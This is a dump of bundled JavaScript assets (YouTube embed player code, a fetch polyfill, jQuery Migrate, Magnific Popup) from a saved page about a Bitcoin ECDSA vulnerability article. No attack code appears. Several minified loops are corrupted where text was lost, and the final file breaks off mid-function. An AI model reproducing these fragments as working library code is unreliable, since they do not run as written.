m=l.sessionData;g.FO(h,c.api,c.J,m||void 0)&&c.api.Ll(l.videoId,m,l.playlistId)}}}(a)); 38 | this.B.push(d)}g.M(this,this.next);this.next.Ca(this.element);this.next.Ra("click",this.zU,this);b=new g.W({F:"button",Ga:["ytp-button","ytp-collapse"],X:{"aria-label":"\u0421\u043a\u0440\u044b\u0442\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438"},W:[g.fFa()]});g.M(this,b);b.Ca(this.element);b.Ra("click",this.T0,this);g.M(this,this.expandButton);this.expandButton.Ca(this.element);this.expandButton.Ra("click",this.U0,this);this.j.T(this.api,"appresize",this.Ab);this.j.T(this.api, 39 | "fullscreentoggled",this.Ko);this.j.T(this.api,"presentingplayerstatechange",this.jd);this.j.T(this.api,"videodatachange",this.onVideoDataChange);this.Ab(this.api.gb().getPlayerSize());this.onVideoDataChange()},k6=function(a){var b=a.I.Vf()?32:16; 40 | b=a.Z/2+b;a.next.element.style.bottom=b+"px";a.previous.element.style.bottom=b+"px";b=a.u;var c=a.containerWidth-a.suggestionData.length*(a.tileWidth+8);g.lo(a.element,"ytp-scroll-min",0<=b);g.lo(a.element,"ytp-scroll-max",b<=c)},A4a=function(a){for(var b=0;bb&&this.delay.start()};g.v(r4a,g.W);g.k=r4a.prototype;g.k.hide=function(){this.I=!0;g.W.prototype.hide.call(this)}; 49 | g.k.show=function(){this.I=!1;g.W.prototype.show.call(this)}; 50 | g.k.isHidden=function(){return this.I}; 51 | g.k.xU=function(){this.scrollTo(this.j-this.containerWidth)}; 52 | g.k.yU=function(){this.scrollTo(this.j+this.containerWidth)}; 53 | g.k.resize=function(a,b){var c=this.api.V(),d=16/9,e=650<=a.width,f=480>a.width||290>a.height,h=Math.min(this.suggestionData.length,this.u.length);if(150>=Math.min(a.width,a.height)||0===h||!c.Lc)this.hide();else{var l;if(e){var m=l=28;this.B=16}else this.B=m=l=8;if(f){var n=6;e=14;var p=12;f=24;c=12}else n=8,e=18,p=16,f=36,c=16;a=a.width-(48+l+m);l=Math.ceil(a/150);l=Math.min(3,l);l=a/l-this.B;m=Math.floor(l/d);b&&m+100>b&&50l||g.BN(this.api)?this.hide():this.show();for(b=0;bl?"none":""}h=e+n+p+4;this.D=h+c+(m-f)/2;this.suggestions.element.style.height=m+h+"px";this.tileWidth=l;this.containerWidth=a;this.j=0;e6(this);this.suggestions.element.scrollLeft= 55 | -0;s4a(this)}}; 56 | g.k.onVideoDataChange=function(){var a=this.api.getVideoData(),b=this.api.V();this.J=a.C?!1:b.u;a.suggestions?this.suggestionData=g.xm(a.suggestions,function(c){return c&&!c.playlistId}):this.suggestionData.length=0; 57 | t4a(this);a.C?this.title.update({title:g.KJ('\u0414\u0440\u0443\u0433\u0438\u0435 \u0432\u0438\u0434\u0435\u043e \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 "$DNI_RELATED_CHANNEL"',{DNI_RELATED_CHANNEL:a.author})}):this.title.update({title:"\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u044d\u0442\u0438 \u0440\u043e\u043b\u0438\u043a\u0438"})}; 58 | g.k.scrollTo=function(a){a=g.Gg(a,this.containerWidth-e6(this),0);this.S.start(this.j,a,1E3);this.j=a;s4a(this)};g.v(f6,g.KO);f6.prototype.show=function(){g.KO.prototype.show.call(this);v4a(this,this.api.gb().getPlayerSize())}; 59 | f6.prototype.resize=function(a){g.KO.prototype.resize.call(this,a);this.j&&(v4a(this,a),g.lo(this.element,"related-on-error-overlay-visible",!this.j.isHidden()))}; 60 | f6.prototype.u=function(a){g.KO.prototype.u.call(this,a);var b=this.api.getVideoData();if(b.JL||b.playerErrorMessageRenderer)(a=b.JL)?x4a(this,a):b.playerErrorMessageRenderer&&x4a(this,b.playerErrorMessageRenderer);else{var c;a.al&&(b.gr?w4a(b.gr)?c=g.CA(b.gr):c=g.LO(g.BA(b.gr)):c=g.LO(a.al),this.Vd(c,"subreason"))}};g.v(g6,g.W);g6.prototype.Ch=function(){this.api.Cb().isCued()||(this.hide(),this.api.Xa(this.element,!1))}; 61 | g6.prototype.j=function(){var a=this.api.getVideoData(),b=this.api.V(),c=this.api.getVideoData().C,d=b.Rc,e=!b.Lc,f=this.u.Ig(),h=g.$F(b);b=b.B;d||f||c||e||h||b||!a.videoId?(this.hide(),this.api.Xa(this.element,!1)):(a=y4a(this),this.Oa("url",a),this.show())}; 62 | g6.prototype.onClick=function(a){var b=y4a(this);g.GO(b,this.api,a);this.api.vb(this.element)}; 63 | g6.prototype.show=function(){this.api.Cb().isCued()&&(g.W.prototype.show.call(this),this.api.Sm(this.element)&&this.api.Xa(this.element,!0))};g.v(h6,g.W);h6.prototype.Ch=function(){var a=this.api.Cb();!this.api.hg()||g.V(a,2)&&g.yN(this.api)||g.V(a,64)?(this.api.Xa(this.j,!1),this.api.Xa(this.forwardButton,!1),this.hide()):(this.show(),this.api.Xa(this.j,!0),this.api.Xa(this.forwardButton,!0))}; 64 | h6.prototype.u=function(){this.api.seekBy(-10*this.api.getPlaybackRate());this.api.vb(this.j)}; 65 | h6.prototype.B=function(){this.api.seekBy(10*this.api.getPlaybackRate());this.api.vb(this.forwardButton)};g.v(i6,g.W);i6.prototype.u=function(){var a=this.api.Cb(),b=this.api.getVideoData();this.api.V().K("embeds_enable_muted_autoplay")&&b.mutedAutoplay&&(g.V(a,2)&&!this.rb?(this.show(),this.j.show(),a=this.api.getVideoData(),this.Oa("text",a.rN),g.lo(this.element,"ytp-muted-autoplay-show-end-panel",!0),this.api.Xa(this.element,this.rb),this.api.Pa("onMutedAutoplayEnds")):this.hide())}; 66 | i6.prototype.onClick=function(){var a=this.api.getVideoData(),b=this.api.getCurrentTime();a.mutedAutoplay=!1;a.endSeconds=NaN;g.NH(a);this.api.loadVideoById(a.videoId,b);this.api.vb(this.element);this.hide()};g.v(j6,g.W);j6.prototype.j=function(){var a=this.api.Cb(),b=this.api.getVideoData();this.api.V().K("embeds_enable_muted_autoplay")&&b.mutedAutoplay&&!g.V(a,2)?this.rb||(g.W.prototype.show.call(this),this.B.start(),this.api.Xa(this.element,this.rb)):this.hide()}; 67 | j6.prototype.u=function(){g.lo(this.element,"ytp-muted-autoplay-hide-watermark",!0)}; 68 | j6.prototype.onClick=function(){var a=this.api.getVideoData(),b=this.api.getCurrentTime();a.mutedAutoplay=!1;a.endSeconds=NaN;g.NH(a);this.api.loadVideoById(a.videoId,b);this.api.vb(this.element)};g.v(z4a,g.W);g.k=z4a.prototype;g.k.hide=function(){g.jo(this.api.getRootNode(),"ytp-expand-pause-overlay");g.W.prototype.hide.call(this)}; 69 | g.k.T0=function(){this.D=!0;g.jo(this.api.getRootNode(),"ytp-expand-pause-overlay");this.expandButton.focus()}; 70 | g.k.U0=function(){this.D=!1;g.ho(this.api.getRootNode(),"ytp-expand-pause-overlay");this.focus()}; 71 | g.k.zU=function(){this.scrollTo(this.u-this.containerWidth)}; 72 | g.k.AU=function(){this.scrollTo(this.u+this.containerWidth)}; 73 | g.k.Ko=function(){this.Ab(this.api.gb().getPlayerSize())}; 74 | g.k.jd=function(a){if(!(g.V(a.state,1)||g.V(a.state,16)||g.V(a.state,32))){var b=!this.api.V().K("embeds_disable_pauseoverlay_on_autoplay_blocked_killswitch")&&g.V(a.state,1024);!g.V(a.state,4)||g.V(a.state,2)||b?this.C.hide():this.suggestionData.length&&(this.D||(g.ho(this.api.getRootNode(),"ytp-expand-pause-overlay"),k6(this)),this.C.show(),this.ea=(0,g.T)())}}; 75 | g.k.Ab=function(a){var b=16/9,c=this.I.Vf();a=a.width-(c?112:58);c=Math.ceil(a/(c?320:192));c=(a-8*c)/c;b=Math.floor(c/b);for(var d=0;da.width)&&!this.u||!a&&this.u){var b=new g.W(q4a()),c=this.Da("ytp-watermark");g.lo(c,"ytp-watermark-small",a);g.qh(c);b.Ca(c);this.u=a}};g.v(C4a,g.fO);g.k=C4a.prototype;g.k.Bj=function(){return!1}; 84 | g.k.create=function(){var a=this.G.V(),b=g.uN(this.G),c,d=null==(c=this.G.getVideoData())?void 0:c.clientPlaybackNonce;d&&g.cB("cpn",d);!a.Lc||a.B||b.Ps()||(this.B=new z4a(this.G,b),g.M(this,this.B),g.EN(this.G,this.B.element,4));a.K("embeds_enable_muted_autoplay")&&(this.u=new j6(this.G),g.M(this,this.u),g.EN(this.G,this.u.element,4),this.I=new i6(this.G),g.M(this,this.I),g.EN(this.G,this.I.element,4));if(a.Rc||this.u)this.watermark=new B4a(this.G),g.M(this,this.watermark),g.EN(this.G,this.watermark.element, 85 | 8);this.C=new g6(this.G,b);g.M(this,this.C);g.EN(this.G,this.C.element,8);a.isMobile&&(this.D=new h6(this.G),g.M(this,this.D),g.EN(this.G,this.D.element,4));this.j.T(this.G,"appresize",this.Ab);this.j.T(this.G,"presentingplayerstatechange",this.Ch);this.j.T(this.G,"videodatachange",this.onVideoDataChange);this.j.T(this.G,"onMutedAutoplayStarts",this.onMutedAutoplayStarts);this.j.T(this.G,"onAdStart",this.onAdStart);this.j.T(this.G,"onAdComplete",this.onAdComplete);this.j.T(this.G,"onAdSkip",this.onAdSkip); 86 | this.j.T(this.G,"onAdStateChange",this.onAdStateChange);this.Xb(this.G.Cb());this.player.xf("embed")}; 87 | g.k.Ab=function(){var a=this.G.gb().getPlayerSize();this.Bf&&this.Bf.resize(a)}; 88 | g.k.Ch=function(a){this.Xb(a.state)}; 89 | g.k.Xb=function(a){g.V(a,128)?(this.Bf||(this.Bf=new f6(this.G),g.M(this,this.Bf),g.EN(this.G,this.Bf.element,4)),this.Bf.u(a.getData()),this.Bf.show(),g.ho(this.G.getRootNode(),"ytp-embed-error")):this.Bf&&(this.Bf.dispose(),this.Bf=null,g.jo(this.G.getRootNode(),"ytp-embed-error"))}; 90 | g.k.onMutedAutoplayStarts=function(){this.G.getVideoData().mutedAutoplay&&this.u&&this.watermark&&this.watermark.Ca(this.u.bottomButtons,0)}; 91 | g.k.onVideoDataChange=function(a,b){var c=this.nw!==b.videoId;a=!c&&"newdata"===a;var d,e={isShortsModeEnabled:null==(d=g.uN(this.G))?void 0:d.Ps()};g.Ov("embedsVideoDataDidChange",{clientPlaybackNonce:b.clientPlaybackNonce,isReload:a,runtimeEnabledFeatures:e});c&&(this.nw=b.videoId);this.watermark&&this.u&&!b.mutedAutoplay&&g.uh(this.u.element,this.watermark.element)&&g.EN(this.G,this.watermark.element,8);this.G.V().B&&this.B&&this.B.detach()}; 92 | g.k.onAdStart=function(){l6(this,"EMBEDS_AD_EVENT_TYPE_AD_STARTED")}; 93 | g.k.onAdComplete=function(){l6(this,"EMBEDS_AD_EVENT_TYPE_AD_COMPLETED")}; 94 | g.k.onAdSkip=function(){l6(this,"EMBEDS_AD_EVENT_TYPE_AD_SKIPPED")}; 95 | g.k.onAdStateChange=function(a){2===a&&l6(this,"EMBEDS_AD_EVENT_TYPE_AD_PAUSED")};g.eO("embed",C4a);})(_yt_player); 96 | -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/fetch-polyfill.js: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Copyright (c) 2014-2016 GitHub, Inc. 4 | SPDX-License-Identifier: MIT 5 | */ 6 | (function(self){if(self.fetch)return;var support={searchParams:"URLSearchParams"in self,iterable:"Symbol"in self&&"iterator"in Symbol,blob:"FileReader"in self&&"Blob"in self&&function(){try{new Blob;return true}catch(e){return false}}(),formData:"FormData"in self,arrayBuffer:"ArrayBuffer"in self};if(support.arrayBuffer){var viewClasses=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]", 7 | "[object Float32Array]","[object Float64Array]"];var isDataView=function(obj){return obj&&DataView.prototype.isPrototypeOf(obj)};var isArrayBufferView=ArrayBuffer.isView||function(obj){return obj&&viewClasses.indexOf(Object.prototype.toString.call(obj))>-1}}function normalizeName(name){if(typeof name!=="string")name=String(name);if(/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(name))throw new TypeError("Invalid character in header field name");return name.toLowerCase()}function normalizeValue(value){if(typeof value!== 8 | "string")value=String(value);return value}function iteratorFor(items){var iterator={next:function(){var value=items.shift();return{done:value===undefined,value:value}}};if(support.iterable)iterator[Symbol.iterator]=function(){return iterator};return iterator}function Headers(headers){this.map={};if(headers instanceof Headers)headers.forEach(function(value,name){this.append(name,value)},this);else if(headers)Object.getOwnPropertyNames(headers).forEach(function(name){this.append(name,headers[name])}, 9 | this)}Headers.prototype.append=function(name,value){name=normalizeName(name);value=normalizeValue(value);var list=this.map[name];if(!list){list=[];this.map[name]=list}list.push(value)};Headers.prototype["delete"]=function(name){delete this.map[normalizeName(name)]};Headers.prototype.get=function(name){var values=this.map[normalizeName(name)];return values?values[0]:null};Headers.prototype.getAll=function(name){return this.map[normalizeName(name)]||[]};Headers.prototype.has=function(name){return this.map.hasOwnProperty(normalizeName(name))}; 10 | Headers.prototype.set=function(name,value){this.map[normalizeName(name)]=[normalizeValue(value)]};Headers.prototype.forEach=function(callback,thisArg){Object.getOwnPropertyNames(this.map).forEach(function(name){this.map[name].forEach(function(value){callback.call(thisArg,value,name,this)},this)},this)};Headers.prototype.keys=function(){var items=[];this.forEach(function(value,name){items.push(name)});return iteratorFor(items)};Headers.prototype.values=function(){var items=[];this.forEach(function(value){items.push(value)}); 11 | return iteratorFor(items)};Headers.prototype.entries=function(){var items=[];this.forEach(function(value,name){items.push([name,value])});return iteratorFor(items)};if(support.iterable)Headers.prototype[Symbol.iterator]=Headers.prototype.entries;function consumed(body){if(body.bodyUsed)return Promise.reject(new TypeError("Already read"));body.bodyUsed=true}function fileReaderReady(reader){return new Promise(function(resolve,reject){reader.onload=function(){resolve(reader.result)};reader.onerror=function(){reject(reader.error)}})} 12 | function readBlobAsArrayBuffer(blob){var reader=new FileReader;var promise=fileReaderReady(reader);reader.readAsArrayBuffer(blob);return promise}function readBlobAsText(blob){var reader=new FileReader;var promise=fileReaderReady(reader);reader.readAsText(blob);return promise}function readArrayBufferAsText(buf){var view=new Uint8Array(buf);var chars=new Array(view.length);for(var i=0;i-1?upcased:method}function Request(input,options){options=options||{};var body=options.body;if(typeof input==="string")this.url=input;else{if(input.bodyUsed)throw new TypeError("Already read"); 18 | this.url=input.url;this.credentials=input.credentials;if(!options.headers)this.headers=new Headers(input.headers);this.method=input.method;this.mode=input.mode;if(!body&&input._bodyInit!=null){body=input._bodyInit;input.bodyUsed=true}}this.credentials=options.credentials||this.credentials||"omit";if(options.headers||!this.headers)this.headers=new Headers(options.headers);this.method=normalizeMethod(options.method||this.method||"GET");this.mode=options.mode||this.mode||null;this.referrer=null;if((this.method=== 19 | "GET"||this.method==="HEAD")&&body)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(body)}Request.prototype.clone=function(){return new Request(this,{body:this._bodyInit})};function decode(body){var form=new FormData;body.trim().split("&").forEach(function(bytes){if(bytes){var split=bytes.split("=");var name=split.shift().replace(/\+/g," ");var value=split.join("=").replace(/\+/g," ");form.append(decodeURIComponent(name),decodeURIComponent(value))}});return form}function parseHeaders(rawHeaders){var headers= 20 | new Headers;rawHeaders.split("\r\n").forEach(function(line){var parts=line.split(":");var key=parts.shift().trim();if(key){var value=parts.join(":").trim();headers.append(key,value)}});return headers}Body.call(Request.prototype);function Response(bodyInit,options){if(!options)options={};this.type="default";this.status="status"in options?options.status:200;this.ok=this.status>=200&&this.status<300;this.statusText="statusText"in options?options.statusText:"OK";this.headers=new Headers(options.headers); 21 | this.url=options.url||"";this._initBody(bodyInit)}Body.call(Response.prototype);Response.prototype.clone=function(){return new Response(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new Headers(this.headers),url:this.url})};Response.error=function(){var response=new Response(null,{status:0,statusText:""});response.type="error";return response};var redirectStatuses=[301,302,303,307,308];Response.redirect=function(url,status){if(redirectStatuses.indexOf(status)===-1)throw new RangeError("Invalid status code"); 22 | return new Response(null,{status:status,headers:{location:url}})};self.Headers=Headers;self.Request=Request;self.Response=Response;self.fetch=function(input,init){return new Promise(function(resolve,reject){var request=new Request(input,init);var xhr=new XMLHttpRequest;xhr.onload=function(){var options={status:xhr.status,statusText:xhr.statusText,headers:parseHeaders(xhr.getAllResponseHeaders()||"")};options.url="responseURL"in xhr?xhr.responseURL:options.headers.get("X-Request-URL");var body="response"in 23 | xhr?xhr.response:xhr.responseText;resolve(new Response(body,options))};xhr.onerror=function(){reject(new TypeError("Network request failed"))};xhr.ontimeout=function(){reject(new TypeError("Network request failed"))};xhr.open(request.method,request.url,true);if(request.credentials==="include")xhr.withCredentials=true;if("responseType"in xhr&&support.blob)xhr.responseType="blob";request.headers.forEach(function(value,name){xhr.setRequestHeader(name,value)});xhr.send(typeof request._bodyInit==="undefined"? 24 | null:request._bodyInit)})};self.fetch.polyfill=true})(typeof self!=="undefined"?self:this); 25 | -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/jquery-migrate.min.js: -------------------------------------------------------------------------------- 1 | /*! jQuery Migrate v3.3.2 | (c) OpenJS Foundation and other contributors | jquery.org/license */ 2 | "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)||[],o=r.exec(t)||[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")||n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]||(r[e]=!0,s.migrateWarnings.push(e),t&&t.warn&&!s.migrateMute&&(t.warn("JQMIGRATE: "+e),s.migrateTrace&&t.trace&&t.trace()))}function t(e,t,r,n){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n),r},set:function(e){u(n),r=e}})}function o(e,t,r,n){e[t]=function(){return u(n),r.apply(this,arguments)}}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var i,a,c,d={},l=s.fn.init,p=s.find,f=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,y=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,m=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;for(i in s.fn.init=function(e){var t=Array.prototype.slice.call(arguments);return"string"==typeof e&&"#"===e&&(u("jQuery( '#' ) is not a valid selector"),t[0]=[]),l.apply(this,t)},s.fn.init.prototype=s.fn,s.find=function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof t&&f.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(y,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("Attribute selector with '#' was not fixed: "+r[0])}}return p.apply(this,r)},p)Object.prototype.hasOwnProperty.call(p,i)&&(s.find[i]=p[i]);o(s.fn,"size",function(){return this.length},"jQuery.fn.size() is deprecated and removed; use the .length property"),o(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"jQuery.parseJSON is deprecated; use JSON.parse"),o(s,"holdReady",s.holdReady,"jQuery.holdReady is deprecated"),o(s,"unique",s.uniqueSort,"jQuery.unique is deprecated; use jQuery.uniqueSort"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&o(s,"trim",function(e){return null==e?"":(e+"").replace(m,"")},"jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&(o(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"jQuery.nodeName is deprecated"),o(s,"isArray",Array.isArray,"jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(o(s,"isNumeric",function(e){var t=typeof e;return("number"==t||"string"==t)&&!isNaN(e-parseFloat(e))},"jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){d["[object "+t+"]"]=t.toLowerCase()}),o(s,"type",function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?d[Object.prototype.toString.call(e)]||"object":typeof e},"jQuery.type is deprecated"),o(s,"isFunction",function(e){return"function"==typeof e},"jQuery.isFunction() is deprecated"),o(s,"isWindow",function(e){return null!=e&&e===e.window},"jQuery.isWindow() is deprecated")),s.ajax&&(a=s.ajax,c=/(=)\?(?=&|$)|\?\?/,s.ajax=function(){var e=a.apply(this,arguments);return e.promise&&(o(e,"success",e.done,"jQXHR.success is deprecated and removed"),o(e,"error",e.fail,"jQXHR.error is deprecated and removed"),o(e,"complete",e.always,"jQXHR.complete is deprecated and removed")),e},e("4.0.0")||s.ajaxPrefilter("+json",function(e){!1!==e.jsonp&&(c.test(e.url)||"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&c.test(e.data))&&u("JSON-to-JSONP auto-promotion is deprecated")}));var g=s.fn.removeAttr,h=s.fn.toggleClass,v=/\S+/g;function j(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}s.fn.removeAttr=function(e){var r=this;return s.each(e.match(v),function(e,t){s.expr.match.bool.test(t)&&(u("jQuery.fn.removeAttr no longer sets boolean properties: "+t),r.prop(t,!1))}),g.apply(this,arguments)};var Q,b=!(s.fn.toggleClass=function(t){return void 0!==t&&"boolean"!=typeof t?h.apply(this,arguments):(u("jQuery.fn.toggleClass( boolean ) is deprecated"),this.each(function(){var e=this.getAttribute&&this.getAttribute("class")||"";e&&s.data(this,"__className__",e),this.setAttribute&&this.setAttribute("class",!e&&!1!==t&&s.data(this,"__className__")||"")}))}),w=/^[a-z]/,x=/^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;s.swap&&s.each(["height","width","reliableMarginRight"],function(e,t){var r=s.cssHooks[t]&&s.cssHooks[t].get;r&&(s.cssHooks[t].get=function(){var e;return b=!0,e=r.apply(this,arguments),b=!1,e})}),s.swap=function(e,t,r,n){var o,i,a={};for(i in b||u("jQuery.swap() is undocumented and deprecated"),t)a[i]=e.style[i],e.style[i]=t[i];for(i in o=r.apply(e,n||[]),t)e.style[i]=a[i];return o},e("3.4.0")&&"undefined"!=typeof Proxy&&(s.cssProps=new Proxy(s.cssProps||{},{set:function(){return u("JQMIGRATE: jQuery.cssProps is deprecated"),Reflect.set.apply(this,arguments)}})),s.cssNumber||(s.cssNumber={}),Q=s.fn.css,s.fn.css=function(e,t){var r,n,o=this;return e&&"object"==typeof e&&!Array.isArray(e)?(s.each(e,function(e,t){s.fn.css.call(o,e,t)}),this):("number"==typeof t&&(r=j(e),n=r,w.test(n)&&x.test(n[0].toUpperCase()+n.slice(1))||s.cssNumber[r]||u('Number-typed values are deprecated for jQuery.fn.css( "'+e+'", value )')),Q.apply(this,arguments))};var A,k,S,M,N=s.data;s.data=function(e,t,r){var n,o,i;if(t&&"object"==typeof t&&2===arguments.length){for(i in n=s.hasData(e)&&N.call(this,e),o={},t)i!==j(i)?(u("jQuery.data() always sets/gets camelCased names: "+i),n[i]=t[i]):o[i]=t[i];return N.call(this,e,o),t}return t&&"string"==typeof t&&t!==j(t)&&(n=s.hasData(e)&&N.call(this,e))&&t in n?(u("jQuery.data() always sets/gets camelCased names: "+t),2");t!==e&&T(e)!==T(t)&&u("HTML tags must be properly nested and closed: "+e)}var O=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,q=s.htmlPrefilter;s.UNSAFE_restoreLegacyHtmlPrefilter=function(){s.htmlPrefilter=function(e){return P(e),e.replace(O,"<$1>")}},s.htmlPrefilter=function(e){return P(e),q(e)};var D,_=s.fn.offset;s.fn.offset=function(){var e=this[0];return!e||e.nodeType&&e.getBoundingClientRect?_.apply(this,arguments):(u("jQuery.fn.offset() requires a valid DOM element"),arguments.length?this:void 0)},s.ajax&&(D=s.param,s.param=function(e,t){var r=s.ajaxSettings&&s.ajaxSettings.traditional;return void 0===t&&r&&(u("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),D.call(this,e,t)});var E,F,J=s.fn.andSelf||s.fn.addBack;return s.fn.andSelf=function(){return u("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),J.apply(this,arguments)},s.Deferred&&(E=s.Deferred,F=[["resolve","done",s.Callbacks("once memory"),s.Callbacks("once memory"),"resolved"],["reject","fail",s.Callbacks("once memory"),s.Callbacks("once memory"),"rejected"],["notify","progress",s.Callbacks("memory"),s.Callbacks("memory")]],s.Deferred=function(e){var i=E(),a=i.promise();return i.pipe=a.pipe=function(){var o=arguments;return u("deferred.pipe() is deprecated"),s.Deferred(function(n){s.each(F,function(e,t){var r="function"==typeof o[e]&&o[e];i[t[1]](function(){var e=r&&r.apply(this,arguments);e&&"function"==typeof e.promise?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[t[0]+"With"](this===a?n.promise():this,r?[e]:arguments)})}),o=null}).promise()},e&&e.call(i,i),i},s.Deferred.exceptionHook=E.exceptionHook),s}); 3 | -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/jquery.magnific-popup.min.js: -------------------------------------------------------------------------------- 1 | /*! Magnific Popup - v1.1.0 - 2016-02-20 2 | * http://dimsemenov.com/plugins/magnific-popup/ 3 | * Copyright (c) 2016 Dmitry Semenov; */ 4 | !function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):window.jQuery||window.Zepto)}(function(a){var b,c,d,e,f,g,h="Close",i="BeforeClose",j="AfterClose",k="BeforeAppend",l="MarkupParse",m="Open",n="Change",o="mfp",p="."+o,q="mfp-ready",r="mfp-removing",s="mfp-prevent-close",t=function(){},u=!!window.jQuery,v=a(window),w=function(a,c){b.ev.on(o+a+p,c)},x=function(b,c,d,e){var f=document.createElement("div");return f.className="mfp-"+b,d&&(f.innerHTML=d),e?c&&c.appendChild(f):(f=a(f),c&&f.appendTo(c)),f},y=function(c,d){b.ev.triggerHandler(o+c,d),b.st.callbacks&&(c=c.charAt(0).toLowerCase()+c.slice(1),b.st.callbacks[c]&&b.st.callbacks[c].apply(b,a.isArray(d)?d:[d]))},z=function(c){return c===g&&b.currTemplate.closeBtn||(b.currTemplate.closeBtn=a(b.st.closeMarkup.replace("%title%",b.st.tClose)),g=c),b.currTemplate.closeBtn},A=function(){a.magnificPopup.instance||(b=new t,b.init(),a.magnificPopup.instance=b)},B=function(){var a=document.createElement("p").style,b=["ms","O","Moz","Webkit"];if(void 0!==a.transition)return!0;for(;b.length;)if(b.pop()+"Transition"in a)return!0;return!1};t.prototype={constructor:t,init:function(){var c=navigator.appVersion;b.isLowIE=b.isIE8=document.all&&!document.addEventListener,b.isAndroid=/android/gi.test(c),b.isIOS=/iphone|ipad|ipod/gi.test(c),b.supportsTransition=B(),b.probablyMobile=b.isAndroid||b.isIOS||/(Opera Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows Phone)|IEMobile/i.test(navigator.userAgent),d=a(document),b.popupsCache={}},open:function(c){var e;if(c.isObj===!1){b.items=c.items.toArray(),b.index=0;var g,h=c.items;for(e=0;e(a||v.height())},_setFocus:function(){(b.st.focus?b.content.find(b.st.focus).eq(0):b.wrap).focus()},_onFocusIn:function(c){return c.target===b.wrap[0]||a.contains(b.wrap[0],c.target)?void 0:(b._setFocus(),!1)},_parseMarkup:function(b,c,d){var e;d.data&&(c=a.extend(d.data,c)),y(l,[b,c,d]),a.each(c,function(c,d){if(void 0===d||d===!1)return!0;if(e=c.split("_"),e.length>1){var f=b.find(p+"-"+e[0]);if(f.length>0){var g=e[1];"replaceWith"===g?f[0]!==d[0]&&f.replaceWith(d):"img"===g?f.is("img")?f.attr("src",d):f.replaceWith(a("").attr("src",d).attr("class",f.attr("class"))):f.attr(e[1],d)}}else b.find(p+"-"+c).html(d)})},_getScrollbarSize:function(){if(void 0===b.scrollbarSize){var a=document.createElement("div");a.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(a),b.scrollbarSize=a.offsetWidth-a.clientWidth,document.body.removeChild(a)}return b.scrollbarSize}},a.magnificPopup={instance:null,proto:t.prototype,modules:[],open:function(b,c){return A(),b=b?a.extend(!0,{},b):{},b.isObj=!0,b.index=c||0,this.instance.open(b)},close:function(){return 